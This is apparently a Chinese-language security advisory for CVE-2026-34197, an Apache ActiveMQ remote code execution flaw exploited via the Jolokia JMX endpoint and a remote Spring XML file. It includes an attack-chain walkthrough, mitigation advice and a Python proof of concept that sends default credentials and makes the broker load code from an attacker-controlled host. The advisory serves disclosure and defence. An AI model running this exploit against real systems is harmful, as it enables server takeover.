IPBUF安全漏洞报告
English
CVE-2026-34197 CVSS 8.8 高危

CVE-2026-34197 Apache ActiveMQ 远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-34197
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache ActiveMQ

相关标签

RCEApache ActiveMQJolokiaCode InjectionSpringCVE-2026-34197

漏洞概述

Apache ActiveMQ Broker 存在输入验证不当和代码注入漏洞。该漏洞源于 Jolokia JMX-HTTP 桥接器的默认访问策略允许对 ActiveMQ MBeans 执行操作。已认证的攻击者可调用 `BrokerService.addNetworkConnector` 或 `BrokerService.addConnector` 方法,并传入特制的发现 URI。该 URI 触发 VM 传输的 `brokerConfig` 参数加载远程 Spring XML 应用上下文。由于 Spring 在 BrokerService 验证配置之前会实例化所有单例 Bean,攻击者可利用 Bean 工厂方法(如 `Runtime.exec()`)在 Broker 的 JVM 上执行任意代码。

技术细节

该漏洞的核心在于 ActiveMQ 暴露的 Jolokia 接口(/api/jolokia/)默认允许对 `org.apache.activemq:*` 域下的 MBean 执行 `exec` 操作。攻击者首先需要具备 web console 的低权限认证凭证。随后,攻击者构造恶意 Jolokia 请求,目标指向 `BrokerService` MBean 的 `addNetworkConnector` 或 `addConnector` 方法。参数是一个包含 VM 传输协议的 URI,其中 `brokerConfig` 参数指向攻击者控制的远程 Spring XML 文件。当 ActiveMQ 处理此请求时,会尝试通过 `ResourceXmlApplicationContext` 加载该配置。关键风险在于 Spring 框架在实例化 Bean 阶段会立即执行初始化逻辑,早于 ActiveMQ 对配置内容的安全校验。因此,攻击者在 XML 中定义的包含恶意系统命令的 Bean 会被立即执行,从而导致服务器被完全控制。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标 Apache ActiveMQ 实例,确认 Jolokia 接口 /api/jolokia/ 是否暴露。
STEP 2
2. 身份认证
攻击者获取 ActiveMQ Web Console 的低权限账号密码(默认账号或弱口令)。
STEP 3
3. 漏洞利用
攻击者向 Jolokia 接口发送特制的 JSON 请求,调用 BrokerService MBean 的 addNetworkConnector 方法。
STEP 4
4. 加载恶意配置
请求参数中包含恶意的 VM Transport URI,通过 brokerConfig 参数指向远程的 Spring XML 文件。
STEP 5
5. 代码执行
ActiveMQ 加载 Spring XML 时,Spring 容器在验证配置前实例化 Bean,触发 XML 中定义的 Runtime.exec() 执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-34197 PoC: Apache ActiveMQ RCE via Jolokia and Spring XML # Target: Apache ActiveMQ before 5.19.4 or before 6.2.3 target_url = "http://target-ip:8161/api/jolokia" attacker_xml_url = "http://attacker-server/malicious-context.xml" auth = ('admin', 'admin') # Requires valid low-privilege credentials # The vulnerability allows invoking BrokerService.addNetworkConnector with a crafted discovery URI. # The VM transport's brokerConfig parameter points to a remote Spring XML resource. payload = { "type": "exec", "mbean": "org.apache.activemq:brokerName=localhost,type=Broker", "operation": "addNetworkConnector(java.lang.String)", "arguments": [ f"vm://broker1?networkConfig=static://(tcp://localhost:61616)&brokerConfig={attacker_xml_url}" ] } headers = {'Content-Type': 'application/json'} try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=json.dumps(payload), headers=headers, auth=auth) if response.status_code == 200: print("[+] Request sent successfully. Check for code execution.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Apache ActiveMQ < 5.19.4
Apache ActiveMQ >= 6.0.0, < 6.2.3

防御指南

临时缓解措施
如果无法立即升级版本,建议通过防火墙规则严格限制对 /api/jolokia/ 路径的访问。同时,可以配置 Jolokia 的安全策略文件(jolokia-access.xml),显式禁止对 `org.apache.activemq` 域下的 MBean 执行 `exec` 或 `write` 操作,从而阻断攻击链路。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表